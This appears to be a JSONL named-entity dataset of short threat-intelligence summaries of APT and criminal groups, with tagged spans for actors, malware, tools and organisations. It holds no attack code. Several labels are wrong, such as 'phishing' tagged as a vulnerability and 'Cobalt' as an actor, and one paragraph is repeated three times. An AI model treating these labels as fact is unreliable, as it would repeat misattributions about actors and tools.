+{"text": "UNK_AcademicFlare is a suspected Russia-aligned threat actor that conducts device code phishing campaigns by leveraging compromised email addresses from government and military organizations. The actor engages in rapport building through benign outreach, ultimately leading to a phishing attempt via a Cloudflare Worker URL that spoofs a OneDrive account. Targeted sectors include government, think tanks, higher education, and transportation in the U.S. and Europe, with a focus on Russia and Ukraine-themed content. Their tactics include using compromised accounts for initial contact and employing device code phishing techniques to extract credentials.", "spans": {"THREAT_ACTOR: UNK_AcademicFlare": [[0, 17]], "ORGANIZATION: Cloudflare": [[302, 312]], "VULNERABILITY: phishing": [[87, 95], [279, 287], [613, 621]]}, "info": {"source": "apt_reports", "name": "UNK_AcademicFlare"}}
+{"text": "Between March and June 2025, Proofpoint identified multiple China-aligned threat actors specifically targeting Taiwanese organizations within the semiconductor industry. This included a China-aligned threat actor tracked as UNK_FistBump targeting semiconductor design, manufacturing, and supply chain organizations in employment-themed phishing campaigns resulting in the delivery of Cobalt Strike or the custom Voldemort backdoor.  Additionally, Proofpoint observed another China-aligned threat actor tracked as UNK_DropPitch targeting individuals in multiple major investment firms who specialize in investment analysis specifically within the Taiwanese semiconductor industry. This UNK_DropPitch targeting is exemplary of intelligence collection priorities spanning less obvious areas of the semiconductor ecosystem beyond just design and manufacturing entities. Finally, we also observed an actor tracked as UNK_SparkyCarp conducting credential phishing activity against a Taiwanese semiconductor company using a custom Adversary in the Middle (AiTM) phishing kit.", "spans": {"THREAT_ACTOR: UNK_DropPitch": [[513, 526], [685, 698]], "THREAT_ACTOR: UNK_FistBump": [[224, 236]], "THREAT_ACTOR: Cobalt": [[384, 390]], "THREAT_ACTOR: UNK_SparkyCarp": [[912, 926]], "TOOL: Cobalt Strike": [[384, 397]], "ORGANIZATION: Proofpoint": [[29, 39], [447, 457]], "VULNERABILITY: phishing": [[336, 344], [949, 957], [1055, 1063]], "MALWARE: Voldemort": [[412, 421]]}, "info": {"source": "apt_reports", "name": "UNK_DropPitch"}}
+{"text": "Between March and June 2025, Proofpoint identified multiple China-aligned threat actors specifically targeting Taiwanese organizations within the semiconductor industry. This included a China-aligned threat actor tracked as UNK_FistBump targeting semiconductor design, manufacturing, and supply chain organizations in employment-themed phishing campaigns resulting in the delivery of Cobalt Strike or the custom Voldemort backdoor.  Additionally, Proofpoint observed another China-aligned threat actor tracked as UNK_DropPitch targeting individuals in multiple major investment firms who specialize in investment analysis specifically within the Taiwanese semiconductor industry. This UNK_DropPitch targeting is exemplary of intelligence collection priorities spanning less obvious areas of the semiconductor ecosystem beyond just design and manufacturing entities. Finally, we also observed an actor tracked as UNK_SparkyCarp conducting credential phishing activity against a Taiwanese semiconductor company using a custom Adversary in the Middle (AiTM) phishing kit.", "spans": {"THREAT_ACTOR: UNK_FistBump": [[224, 236]], "THREAT_ACTOR: UNK_DropPitch": [[513, 526], [685, 698]], "THREAT_ACTOR: Cobalt": [[384, 390]], "THREAT_ACTOR: UNK_SparkyCarp": [[912, 926]], "TOOL: Cobalt Strike": [[384, 397]], "ORGANIZATION: Proofpoint": [[29, 39], [447, 457]], "VULNERABILITY: phishing": [[336, 344], [949, 957], [1055, 1063]], "MALWARE: Voldemort": [[412, 421]]}, "info": {"source": "apt_reports", "name": "UNK_FistBump"}}
+{"text": "UNK_RemoteRogue is a suspected Russian threat actor that has been observed utilizing ClickFix in its infection chains, although this technique is not revolutionizing their operations but rather replacing existing installation methods. The group has a history of employing compromised intermediate mailservers, with specific infrastructure noted, such as the upstream concentrator at 80.66.66[.]197. Proofpoint recorded their use of ClickFix only once before they reverted to traditional campaigns that share similar characteristics, including targeting and infrastructure. UNK_RemoteRogue has been linked to phishing activities and has shown consistent patterns in its operational tactics.", "spans": {"THREAT_ACTOR: UNK_RemoteRogue": [[0, 15], [573, 588]], "ORGANIZATION: Proofpoint": [[399, 409]], "VULNERABILITY: phishing": [[608, 616]]}, "info": {"source": "apt_reports", "name": "UNK_RemoteRogue"}}
+{"text": "Between March and June 2025, Proofpoint identified multiple China-aligned threat actors specifically targeting Taiwanese organizations within the semiconductor industry. This included a China-aligned threat actor tracked as UNK_FistBump targeting semiconductor design, manufacturing, and supply chain organizations in employment-themed phishing campaigns resulting in the delivery of Cobalt Strike or the custom Voldemort backdoor.  Additionally, Proofpoint observed another China-aligned threat actor tracked as UNK_DropPitch targeting individuals in multiple major investment firms who specialize in investment analysis specifically within the Taiwanese semiconductor industry. This UNK_DropPitch targeting is exemplary of intelligence collection priorities spanning less obvious areas of the semiconductor ecosystem beyond just design and manufacturing entities. Finally, we also observed an actor tracked as UNK_SparkyCarp conducting credential phishing activity against a Taiwanese semiconductor company using a custom Adversary in the Middle (AiTM) phishing kit.", "spans": {"THREAT_ACTOR: UNK_SparkyCarp": [[912, 926]], "THREAT_ACTOR: UNK_FistBump": [[224, 236]], "THREAT_ACTOR: UNK_DropPitch": [[513, 526], [685, 698]], "THREAT_ACTOR: Cobalt": [[384, 390]], "TOOL: Cobalt Strike": [[384, 397]], "ORGANIZATION: Proofpoint": [[29, 39], [447, 457]], "VULNERABILITY: phishing": [[336, 344], [949, 957], [1055, 1063]], "MALWARE: Voldemort": [[412, 421]]}, "info": {"source": "apt_reports", "name": "UNK_SparkyCarp"}}
+{"text": "This threat actor compromises civil society groups the Chinese Communist Party views as hostile to its interests, such as Tibetan, Uyghur, Hong Kong, and Taiwanese activist. The threat actor also targeted the Myanmar electoral commission.", "spans": {}, "info": {"source": "apt_reports", "name": "Unnamed Actor"}}
+{"text": "UnsolicitedBooker is a China-aligned APT group known for its persistent targeting of an unnamed international organization in Saudi Arabia, employing a backdoor called MarsSnake. The group utilizes spear-phishing emails, often featuring flight tickets as decoys, to infiltrate governmental organizations across Asia, Africa, and the Middle East. Their operations have included multiple intrusion attempts over several years, demonstrating a sustained interest in their target. MarsSnake provides significant control over infected machines, allowing for arbitrary command execution and file access.", "spans": {"THREAT_ACTOR: UnsolicitedBooker": [[0, 17]], "VULNERABILITY: spear-phishing": [[198, 212]], "VULNERABILITY: phishing": [[204, 212]]}, "info": {"source": "apt_reports", "name": "UnsolicitedBooker"}}
+{"text": "What sets Urpage attacks apart is its targeting of InPage, a word processor for Urdu and Arabic languages. However, its Delphi backdoor component, which it has in common with Confucius and Patchwork, and its apparent use of Bahamut-like malware, is what makes it more intriguing as it connects Urpage to these other known threats. Trend Micro covered the Delphi component in the context of the Confucius and Patchwork connection. They mentioned Urpage as a third unnamed threat actor connected to the two.", "spans": {"THREAT_ACTOR: Urpage": [[10, 16], [294, 300], [445, 451]], "THREAT_ACTOR: Bahamut": [[224, 231]], "SYSTEM: Trend Micro": [[331, 342]], "MALWARE: Patchwork": [[189, 198], [408, 417]], "MALWARE: Confucius": [[175, 184], [394, 403]]}, "info": {"source": "apt_reports", "name": "Urpage"}}
+{"text": "USDoD is a threat actor known for leaking large databases of personal information, including from companies like Airbus and the U.S. Environmental Protection Agency. They have a history of engaging in high-profile data breaches, such as exposing data from the FBI's InfraGard program. USDoD has also been involved in web scraping to obtain information from websites like LinkedIn.", "spans": {"THREAT_ACTOR: USDoD": [[0, 5], [285, 290]], "ORGANIZATION: FBI": [[260, 263]]}, "info": {"source": "apt_reports", "name": "USDoD"}}
+{"text": "UserSec is a pro-Russian hacking group that has been active since at least 2022. The group is known for its DDoS attacks and has collaborated with other pro-Russian hacking groups. In May 2023, UserSec announced a cyber campaign targeting NATO member states and joined forces with KillNet to launch attacks against NATO.", "spans": {"THREAT_ACTOR: UserSec": [[0, 7], [194, 201]], "VULNERABILITY: DDoS": [[108, 112]]}, "info": {"source": "apt_reports", "name": "UserSec"}}
+{"text": "While Volexity largely observed the attacker essentially living off the land, they still deployed a handful of malware files and tools during the course of the incident which primarily consisted of webshells, proxy utilities, and file modifications to allow credential harvesting. Once UTA0178 had access into the network via the ICS VPN appliance, their general approach was to pivot from system to system using compromised credentials. They would then further compromise credentials of users on any new system that was breached, and use these credentials to log into additional systems via RDP. Volexity observed the attacker obtaining credentials in a variety of ways.", "spans": {"THREAT_ACTOR: UTA0178": [[286, 293]], "TOOL: RDP": [[592, 595]], "SYSTEM: VPN": [[334, 337]], "ORGANIZATION: Volexity": [[6, 14], [597, 605]]}, "info": {"source": "apt_reports", "name": "UTA0178"}}
+{"text": "UTA0218 is a threat actor with advanced capabilities, targeting organizations to establish a reverse shell, acquire tools, and extract data. They exploit vulnerabilities in firewall devices to move laterally within victim networks, focusing on obtaining domain backup keys and active directory credentials. The actor deploys a custom Python backdoor named UPSTYLE to execute commands and download additional tools. UTA0218 is likely state-backed, utilizing a mix of infrastructure including VPNs and compromised routers to store malicious files.", "spans": {"THREAT_ACTOR: UTA0218": [[0, 7], [415, 422]], "SYSTEM: Python": [[334, 340]], "MALWARE: UPSTYLE": [[356, 363]]}, "info": {"source": "apt_reports", "name": "UTA0218"}}
+{"text": "UTA0352 is a Russian threat actor attributed to phishing campaigns that exploit Microsoft OAuth 2.0 authentication workflows, often impersonating government officials to lure targets into providing sensitive information. The actor has been observed using malicious URLs disguised as legitimate services, such as a Romanian government authentication system. UTA0352 has also targeted Microsoft Teams and employed social engineering tactics via messaging platforms like Signal and WhatsApp. Volexity assesses with medium confidence that UTA0352 is involved in operations themed around Ukraine, targeting individuals and organizations historically associated with Russian threat activities.", "spans": {"THREAT_ACTOR: UTA0352": [[0, 7], [357, 364], [535, 542]], "SYSTEM: Signal": [[468, 474]], "SYSTEM: WhatsApp": [[479, 487]], "SYSTEM: Microsoft Teams": [[383, 398]], "ORGANIZATION: Volexity": [[489, 497]], "ORGANIZATION: Microsoft": [[80, 89], [383, 392]], "VULNERABILITY: phishing": [[48, 56]]}, "info": {"source": "apt_reports", "name": "UTA0352"}}
+{"text": "UTA0355 is a Russian threat actor that conducts phishing campaigns targeting individuals and organizations associated with Ukraine. The actor initiates contact via email, inviting targets to a video conference, and follows up through Signal or WhatsApp to enhance legitimacy. After establishing communication, UTA0355 prompts victims to log in via a malicious M365 URL, subsequently requesting approval for a 2FA authentication to access email data. Volexity assesses with high confidence that UTA0355 successfully registered devices and downloaded email data from compromised accounts.", "spans": {"THREAT_ACTOR: UTA0355": [[0, 7], [310, 317], [494, 501]], "SYSTEM: Signal": [[234, 240]], "SYSTEM: WhatsApp": [[244, 252]], "ORGANIZATION: Volexity": [[450, 458]], "VULNERABILITY: phishing": [[48, 56]]}, "info": {"source": "apt_reports", "name": "UTA0355"}}
+{"text": "UTA0388 is a China-aligned APT known for spear-phishing campaigns targeting organizations in North America, Asia, and Europe, primarily to deliver a Go-based implant called GOVERSHELL. The group employs \"rapport-building phishing\" tactics, engaging targets in benign conversations before sending malicious links, and has been linked to the use of Large Language Models for crafting phishing emails in multiple languages. Technical analysis indicates that UTA0388 operates in the interests of the Chinese state, with a focus on Asian geopolitical issues, as evidenced by the use of Simplified Chinese in its development environment. Volexity assesses that UTA0388's operations reflect a sophisticated blend of traditional phishing techniques and modern automation.", "spans": {"THREAT_ACTOR: UTA0388": [[0, 7], [455, 462], [655, 662]], "SYSTEM: Go": [[149, 151]], "ORGANIZATION: Volexity": [[632, 640]], "VULNERABILITY: spear-phishing": [[41, 55]], "VULNERABILITY: phishing": [[47, 55], [221, 229], [382, 390], [721, 729]]}, "info": {"source": "apt_reports", "name": "UTA0388"}}
+{"text": "UTG-Q-008 is a threat actor targeting Linux platforms, primarily focusing on government and enterprise entities in China. They utilize a massive botnet network for espionage activities, including reconnaissance, brute-forcing, and Trojan component delivery. The actor has a history of compromising thousands of servers in China using a password dictionary based on Chinese Pinyin. UTG-Q-008 operates during standard working hours in the UTC+8 time zone, with potential ties to Eastern Europe.", "spans": {"THREAT_ACTOR: UTG-Q-008": [[0, 9], [381, 390]], "SYSTEM: Linux": [[38, 43]]}, "info": {"source": "apt_reports", "name": "UTG-Q-008"}}
+{"text": "UTG-Q-010 is a financially motivated APT group from East Asia that has been active since late 2022, primarily targeting the pharmaceutical industry and cryptocurrency enthusiasts. They exploit legitimate Windows processes, such as \"WerFault.exe,\" to sideload malicious DLLs like \"faultrep.dll\" and employ sophisticated phishing campaigns to deliver malware disguised as enticing content. Their recent campaigns have involved the use of the Pupy RAT and advanced defense evasion techniques, including in-memory execution and reflective DLL loading. UTG-Q-010's strategic focus on HR departments and the cryptocurrency sector highlights their understanding of target vulnerabilities and their ability to evade detection.", "spans": {"THREAT_ACTOR: UTG-Q-010": [[0, 9], [548, 557]], "SYSTEM: Windows": [[204, 211]], "VULNERABILITY: phishing": [[319, 327]], "MALWARE: Pupy": [[440, 444]]}, "info": {"source": "apt_reports", "name": "UTG-Q-010"}}
+{"text": "Vice Society is a ransomware group that has been active since at least June 2021. They primarily target the education and healthcare sectors, but have also been observed targeting the manufacturing industry. The group has used multiple ransomware families and has been known to utilize PowerShell scripts for their attacks. There are similarities between Vice Society and the Rhysida ransomware group, suggesting a potential connection or rebranding.", "spans": {"TOOL: PowerShell": [[286, 296]]}, "info": {"source": "apt_reports", "name": "Vanilla Tempest"}}
+{"text": "Velvet Tempest is a threat actor associated with the BlackCat ransomware group. They have been observed deploying multiple ransomware payloads, including BlackCat, and have targeted various industries such as energy, fashion, tobacco, IT, and manufacturing. Velvet Tempest relies on access brokers to gain network access and utilizes tools like Cobalt Strike Beacons and PsExec for lateral movement and payload staging. They exfiltrate stolen data using a tool called StealBit and frequently disable unprotected antivirus products.", "spans": {"THREAT_ACTOR: Velvet Tempest": [[0, 14], [258, 272]], "THREAT_ACTOR: Cobalt": [[345, 351]], "TOOL: PsExec": [[371, 377]], "TOOL: Cobalt Strike": [[345, 358]], "MALWARE: BlackCat": [[53, 61], [154, 162]], "MALWARE: StealBit": [[468, 476]]}, "info": {"source": "apt_reports", "name": "Velvet Tempest"}}
+{"text": "VENOM SPIDER is the developer of a large toolset that includes SKID, VenomKit and Taurus Loader. Under the moniker 'badbullzvenom', the adversary has been an active member of Russian underground forums since at least 2012, specializing in the identification of vulnerabilities and the subsequent development of tools for exploitation, as well as for gaining and maintaining access to victim machines and carding services. Recent advertisements for the malware indicate that VENOM SPIDER limits the sale and use of its tools, selling modules only to trusted affiliates. This preference can be seen in the fact that adversaries observed using the tools include the targeted criminal adversary COBALT SPIDER and BGH adversaries WIZARD SPIDER and PINCHY SPIDER.", "spans": {"THREAT_ACTOR: VENOM SPIDER": [[0, 12], [474, 486]], "THREAT_ACTOR: WIZARD SPIDER": [[725, 738]], "THREAT_ACTOR: PINCHY SPIDER": [[743, 756]], "MALWARE: SKID": [[63, 67]]}, "info": {"source": "apt_reports", "name": "VENOM SPIDER"}}
+{"text": "In May 2018, we discovered a campaign targeting dozens of mobile Android devices belonging to Israeli citizens. Kaspersky spyware sensors caught the signal of an attack from the device of one of the victims; and a hash of the APK involved (Android application) was tagged in our sample feed for inspection. Once we looked into the file, we quickly found out that the inner-workings of the APK included a malicious payload, embedded in the original code of the application. This was an original spyware program, designed to exfiltrate almost all accessible information.\nDuring the course of our research, we noticed that we were not the only ones to have found the operation. Researchers from Bitdefender also released an analysis of one of the samples in a blogpost. Although something had already been published, we decided to do something different with the data we acquired. The following month, we released a private report on our Threat Intelligence Portal to alert our clients about this newly discovered operation and began writing YARA rules in order to catch more samples. We decided to call the operation “ViceLeaker”, because of strings and variables in its code.", "spans": {"THREAT_ACTOR: ViceLeaker": [[1116, 1126]], "SYSTEM: Kaspersky": [[112, 121]], "SYSTEM: Android": [[65, 72], [240, 247]], "SYSTEM: Bitdefender": [[692, 703]]}, "info": {"source": "apt_reports", "name": "ViceLeaker"}}
+{"text": "VICEROY TIGER is an adversary with a nexus to India that has historically targeted entities throughout multiple sectors. Older activity targeted multiple sectors and countries; however, since 2015 this adversary appears to focus on entities in Pakistan with a particular focus on government and security organizations. This adversary consistently leverages spear phishing emails containing malicious Microsoft Office documents, malware designed to target the Android mobile platform, and phishing activity designed to harvest user credentials. In March 2017, the 360 Chasing Team found a sample of targeted attacks that confirmed the previously unknown sample of APT's attack actions, which the organization can now trace back at least in April 2016. The chasing team named the attack organization APT-C-35. In June 2017, the 360 Threat Intelligence Center discovered the organization’s new attack activity, confirmed and exposed the gang’s targeted attacks against Pakistan, and analyzed in detail. The unique EHDevel malicious code framework used by the organization.", "spans": {"THREAT_ACTOR: VICEROY TIGER": [[0, 13]], "SYSTEM: Microsoft Office": [[400, 416]], "SYSTEM: Android": [[459, 466]], "ORGANIZATION: Microsoft": [[400, 409]], "VULNERABILITY: phishing": [[363, 371], [488, 496]], "VULNERABILITY: spear phishing": [[357, 371]]}, "info": {"source": "apt_reports", "name": "VICEROY TIGER"}}
+{"text": "Vice Spider is a Russian-speaking ransomware group that has been active since at least April 2021 and is linked to a significant increase in identity-based attacks, with a reported 583% rise in Kerberoasting incidents. CrowdStrike attributes 27% of these intrusions specifically to Vice Spider, which exploits vulnerabilities in the Kerberos authentication protocol to crack user passwords.", "spans": {"THREAT_ACTOR: Vice Spider": [[0, 11], [282, 293]], "SYSTEM: Kerberos": [[333, 341]], "ORGANIZATION: CrowdStrike": [[219, 230]], "VULNERABILITY: Kerberoasting": [[194, 207]]}, "info": {"source": "apt_reports", "name": "VICE SPIDER"}}
+{"text": "ViciousTrap has compromised over 5,500 edge devices, transforming them into honeypots and utilizing a shell script called NetGhost to redirect incoming traffic from specific ports to their infrastructure. The actor has targeted various EOL devices, including ASUS routers, Linksys LRT224, and Araknis Networks AN-300-RT-4L2W VPN routers. Observations indicate attempts to deploy a web shell for executing their redirection script, although authorship of the web shell has not been attributed to ViciousTrap. The overall objectives of ViciousTrap remain unclear, but their activities suggest a honeypot-style network aimed at intercepting network flows.", "spans": {"THREAT_ACTOR: ViciousTrap": [[0, 11], [495, 506], [534, 545]], "SYSTEM: VPN": [[325, 328]]}, "info": {"source": "apt_reports", "name": "ViciousTrap"}}
+{"text": "Check Point Research discovered a new campaign against the Mongolian public sector, which takes advantage of the current Coronavirus scare, in order to deliver a previously unknown malware implant to the target. \nA closer look at this campaign allowed us to tie it to other operations which were carried out by the same anonymous group, dating back to at least 2016. Over the years, these operations targeted different sectors in multiple countries, such as Ukraine, Russia, and Belarus.", "spans": {"ORGANIZATION: Check Point": [[0, 11]]}, "info": {"source": "apt_reports", "name": "Vicious Panda"}}
+{"text": "VIKING SPIDER is the criminal group behind the development and distribution of Ragnar Locker ransomware. While public reporting indicates the group began threatening to leak victim data in February 2020, a DLS was not observed until April 2020. The DLS is hosted on Tor, and similar to other actors, proof of data exfiltration is provided before the stolen data is fully leaked. It was also noted that On Dec. 22, 2020, a new post made to MountLocker ransomware’s Tor-hosted DLS was titled 'Cartel News' and included details of a victim of VIKING SPIDER’s Ragnar Locker", "spans": {"THREAT_ACTOR: VIKING SPIDER": [[0, 13], [540, 553]], "TOOL: Tor": [[266, 269], [464, 467]], "MALWARE: Ragnar Locker": [[79, 92], [556, 569]], "MALWARE: MountLocker": [[439, 450]]}, "info": {"source": "apt_reports", "name": "VIKING SPIDER"}}
+{"text": "Void Arachne is a threat actor group targeting Chinese-speaking users with malicious MSI files containing legitimate software installers for AI software. They exploit public interest in VPN technology and AI software to distribute malware through SEO poisoning and Chinese-language-themed Telegram channels. The group's campaign includes bundling malicious Winos payloads with deepfake pornography-generating AI software and voice-and-face-swapping AI software. Void Arachne also promotes AI technologies for virtual kidnapping and uses AI voice-alternating technology to pressure victims into paying ransom.", "spans": {"THREAT_ACTOR: Void Arachne": [[0, 12], [462, 474]], "SYSTEM: VPN": [[186, 189]], "SYSTEM: Telegram": [[289, 297]], "MALWARE: Void": [[0, 4], [462, 466]]}, "info": {"source": "apt_reports", "name": "Void Arachne"}}
+{"text": "Void Balaur is a highly active hack-for-hire / cyber mercenary group with a wide range of known target types across the globe. Their services have been observed for sale to the public online since at least 2016. Services include the collection of private data and access to specific online email and social media services, such as Gmail, Outlook, Telegram, Yandex, Facebook, Instagram, and business emails.", "spans": {"THREAT_ACTOR: Void Balaur": [[0, 11]], "SYSTEM: Telegram": [[347, 355]], "SYSTEM: Outlook": [[338, 345]], "SYSTEM: Gmail": [[331, 336]], "ORGANIZATION: Facebook": [[365, 373]], "MALWARE: Void": [[0, 4]]}, "info": {"source": "apt_reports", "name": "Void Balaur"}}
+{"text": "Void Banshee is an APT group targeting North America, Europe, and Southeast Asia for information theft and financial gain. They exploit vulnerabilities like CVE-2024-38112 to deliver the Atlantida info-stealer through malicious PDFs disguised as book files. The group uses internet shortcuts with MHTML protocol handlers to access and execute files through disabled Internet Explorer, posing a significant threat to organizations. Void Banshee's TTPs include crafting URL strings to control window sizes in IE and using HTML files to hide malicious downloads from victims.", "spans": {"CVE_ID: CVE-2024-38112": [[157, 171]], "THREAT_ACTOR: Void Banshee": [[0, 12], [431, 443]], "SYSTEM: Internet Explorer": [[366, 383]], "SYSTEM: IE": [[507, 509]], "MALWARE: Void": [[0, 4], [431, 435]]}, "info": {"source": "apt_reports", "name": "Void Banshee"}}
+{"text": "Void Blizzard’s cyberespionage operations tend to be highly targeted at specific organizations of interest to the Russian government, including in government, defense, transportation, media, non-governmental organizations (NGOs), and healthcare sectors primarily in Europe and North America. The threat actor uses stolen credentials—which are likely procured from commodity infostealer ecosystems—and collects a high volume of email and files from compromised organizations.", "spans": {"THREAT_ACTOR: Void Blizzard": [[0, 13]], "MALWARE: Void": [[0, 4]]}, "info": {"source": "apt_reports", "name": "Void Blizzard"}}
+{"text": "Void Manticore is an Iranian APT group affiliated with MOIS, known for conducting destructive wiping attacks and influence operations. They collaborate with Scarred Manticore, sharing targets and conducting disruptive operations using custom wipers. Void Manticore's TTPs involve manual file deletion, lateral movement via RDP, and the deployment of custom wipers like the BiBi wiper. The group utilizes online personas like 'Karma' and 'Homeland Justice' to leak information and amplify the impact of their attacks.", "spans": {"THREAT_ACTOR: Void Manticore": [[0, 14], [250, 264]], "THREAT_ACTOR: Scarred Manticore": [[157, 174]], "TOOL: RDP": [[323, 326]], "MALWARE: Void": [[0, 4], [250, 254]], "MALWARE: BiBi": [[373, 377]], "MALWARE: Karma": [[426, 431]]}, "info": {"source": "apt_reports", "name": "Void Manticore"}}
+{"text": "Void Rabisu is an intrusion set associated with both financially motivated ransomware attacks and targeted campaigns on Ukraine and countries supporting Ukraine.", "spans": {"THREAT_ACTOR: Void Rabisu": [[0, 11]], "MALWARE: Void": [[0, 4]]}, "info": {"source": "apt_reports", "name": "Void Rabisu"}}
+{"text": "Beginning in late 2012, a carefully orchestrated attack campaign we call Volatile Cedar has been targeting individuals, companies and institutions worldwide. This campaign, led by a persistent attacker group, has successfully penetrated a large number of targets using various attack techniques, and specifically, a custom-made malware implant codenamed Explosive.", "spans": {"THREAT_ACTOR: Volatile Cedar": [[73, 87]], "MALWARE: Explosive": [[354, 363]]}, "info": {"source": "apt_reports", "name": "Volatile Cedar"}}
+{"text": "[Microsoft] Volt Typhoon, a state-sponsored actor based in China that typically focuses on espionage and information gathering. Microsoft assesses with moderate confidence that this Volt Typhoon campaign is pursuing development of capabilities that could disrupt critical communications infrastructure between the United States and Asia region during future crises.\n\n[Secureworks] BRONZE SILHOUETTE likely operates on behalf the PRC. The targeting of U.S. government and defense organizations for intelligence gain aligns with PRC requirements, and the tradecraft observed in these engagements overlap with other state-sponsored Chinese threat groups.", "spans": {"THREAT_ACTOR: Volt Typhoon": [[12, 24], [182, 194]], "ORGANIZATION: Secureworks": [[368, 379]], "ORGANIZATION: Microsoft": [[1, 10], [128, 137]]}, "info": {"source": "apt_reports", "name": "Volt Typhoon"}}
+{"text": "VulzSec, also known as VulzSecTeam, is a hacktivist group that has been involved in various cyber-attacks. They have targeted government websites in retaliation for issues such as police brutality and the treatment of Indian Muslims. The group has been involved in campaigns like OpIndia2.0, where they planned to launch DDoS attacks on Indian government websites.", "spans": {"THREAT_ACTOR: VulzSecTeam": [[23, 34]], "VULNERABILITY: DDoS": [[321, 325]]}, "info": {"source": "apt_reports", "name": "VulzSecTeam"}}
+{"text": "WageMole is a North Korean state-sponsored APT that employs social engineering and technology to secure remote job opportunities in Western countries, leveraging stolen personal data from the Contagious Interview campaign. Threat actors create fake identities, including passports and driver's licenses, and prepare study guides for interviews, often utilizing generative AI for well-structured responses. They target small to mid-sized businesses and utilize job platforms like Upwork and Indeed, while employing automation scripts for account creation. WageMole's activities include sharing code within their group and requesting payments through platforms like PayPal to conceal their identity.", "spans": {"THREAT_ACTOR: WageMole": [[0, 8], [555, 563]], "THREAT_ACTOR: Contagious Interview": [[192, 212]]}, "info": {"source": "apt_reports", "name": "WageMole"}}
+{"text": "WARP PANDA is a China-nexus APT that targets VMware vCenter environments and Microsoft Azure infrastructures, primarily focusing on legal, technology, and manufacturing sectors in the U.S. The group exploits internet-facing edge devices for initial access, later pivoting to vCenter environments using compromised credentials or vulnerabilities. Their toolkit includes the BRICKSTORM backdoor, along with implants like Junction and GuestConduit, which facilitate command execution and network traffic tunneling. WARP PANDA demonstrates advanced OPSEC and aims for long-term persistence and data exfiltration aligned with the interests of the People's Republic of China.", "spans": {"THREAT_ACTOR: WARP PANDA": [[0, 10], [512, 522]], "SYSTEM: VMware": [[45, 51]], "SYSTEM: vCenter": [[52, 59], [275, 282]], "SYSTEM: Azure": [[87, 92]], "ORGANIZATION: Microsoft": [[77, 86]], "MALWARE: BRICKSTORM": [[373, 383]]}, "info": {"source": "apt_reports", "name": "WARP PANDA"}}
+{"text": "WASSONITE is a North Korea-linked APT that has targeted industrial sectors, including electric generation, nuclear energy, manufacturing, and research entities in India, South Korea, and Japan since at least 2018. The group employs DTrack RAT for remote access, Mimikatz for credential capture, and various system tools for lateral movement and file transfers. WASSONITE has been observed using nuclear energy-themed spear phishing lures to deploy the AppleSeed backdoor, which can take screenshots, log keystrokes, and execute commands from a C2 server. Their operations focus on initial access, reconnaissance, and data collection without demonstrating disruptive capabilities.", "spans": {"THREAT_ACTOR: WASSONITE": [[0, 9], [361, 370]], "TOOL: Mimikatz": [[262, 270]], "VULNERABILITY: phishing": [[423, 431]], "VULNERABILITY: spear phishing": [[417, 431]], "MALWARE: AppleSeed": [[452, 461]]}, "info": {"source": "apt_reports", "name": "Wassonite"}}
+{"text": "Thief Libra is a cloud-focused threat group that has a history of cryptojacking operations as well as cloud service platform credential scraping. They were first known to operate on January 27, 2019. They use a variety of custom build Go Scripts as well as repurposed cryptojacking scripts from other groups including TeamTNT. They are currently considered to be an opportunistic threat group that targets exposed cloud instances and applications.", "spans": {"THREAT_ACTOR: TeamTNT": [[318, 325]], "SYSTEM: Go": [[235, 237]]}, "info": {"source": "apt_reports", "name": "Watchdog"}}
+{"text": "Water Bakunawa is a cybercriminal group identified by Trend Micro, responsible for the RansomHub ransomware, which exploits the Zerologon vulnerability to gain unauthorized network access. The group employs EDRKillShifter to evade detection and disrupt security monitoring processes, utilizing advanced anti-EDR techniques. Their targets include sectors such as water and wastewater, IT, healthcare, and financial services. Members of the group and related affiliates have linked by association with other high-profile RaaS groups like Scattered Spider and ALPHV.", "spans": {"THREAT_ACTOR: Water Bakunawa": [[0, 14]], "THREAT_ACTOR: RansomHub": [[87, 96]], "THREAT_ACTOR: Scattered Spider": [[536, 552]], "SYSTEM: Trend Micro": [[54, 65]], "VULNERABILITY: Zerologon": [[128, 137]], "MALWARE: ALPHV": [[557, 562]]}, "info": {"source": "apt_reports", "name": "Water Bakunawa"}}
+{"text": "Water Barghest is a cybercriminal group that has compromised over 20,000 IoT devices by October 2024, monetizing them through a residential proxy marketplace. They automate the entire process from identifying vulnerable devices using n-day and zero-day exploits to deploying Ngioweb malware and selling the compromised assets. Their operations include leveraging Ubiquiti EdgeRouter devices for espionage and utilizing automated scripts to exploit vulnerabilities within minutes of discovery. Water Barghest has maintained a low profile for years, but their activities gained attention due to the deployment of a zero-day vulnerability against Cisco IOS XE devices in October 2023.", "spans": {"THREAT_ACTOR: Water Barghest": [[0, 14], [493, 507]], "SYSTEM: Ubiquiti": [[363, 371]], "SYSTEM: Cisco IOS": [[644, 653]], "SYSTEM: Cisco": [[644, 649]], "VULNERABILITY: zero-day": [[244, 252], [613, 621]]}, "info": {"source": "apt_reports", "name": "Water Barghest"}}
+{"text": "With its emergence in 2022, Water Curupira has established itself as a persistent threat actor targeting organizations primarily in South America and Europe. Their modus operandi involves a combination of social engineering tactics and a diversified malware arsenal, including ransomware variants like Black Basta and credential stealers like Cobalt Strike. This multifaceted approach enables them to gain unauthorized access to victim systems, steal sensitive data, and ultimately extort victims through ransomware demands. It has been actively using Pikabot, a loader malware with similarities to Qakbot, in spam campaigns throughout 2023.", "spans": {"THREAT_ACTOR: Water Curupira": [[28, 42]], "THREAT_ACTOR: Cobalt": [[343, 349]], "TOOL: Cobalt Strike": [[343, 356]], "MALWARE: Black Basta": [[302, 313]], "MALWARE: Pikabot": [[552, 559]]}, "info": {"source": "apt_reports", "name": "Water Curupira"}}
+{"text": "Water Gamayun exploits the MSC EvilTwin zero-day vulnerability to compromise systems and exfiltrate data, utilizing custom payloads and advanced data exfiltration techniques. Their arsenal includes backdoors like SilentPrism and DarkWisp, as well as information stealers such as Stealc and Rhadamanthys. They employ delivery methods like provisioning malicious payloads through signed Microsoft Installer files and leveraging LOLBins to maintain persistence and control over infected systems. Comprehensive analysis of their command-and-control infrastructure reveals sophisticated evasion techniques and dynamic control capabilities.", "spans": {"THREAT_ACTOR: Water Gamayun": [[0, 13]], "TOOL: LOLBins": [[426, 433]], "ORGANIZATION: Microsoft": [[385, 394]], "VULNERABILITY: zero-day": [[40, 48]], "MALWARE: SilentPrism": [[213, 224]], "MALWARE: DarkWisp": [[229, 237]], "MALWARE: Stealc": [[279, 285]], "MALWARE: Rhadamanthys": [[290, 302]]}, "info": {"source": "apt_reports", "name": "Water Gamayun"}}
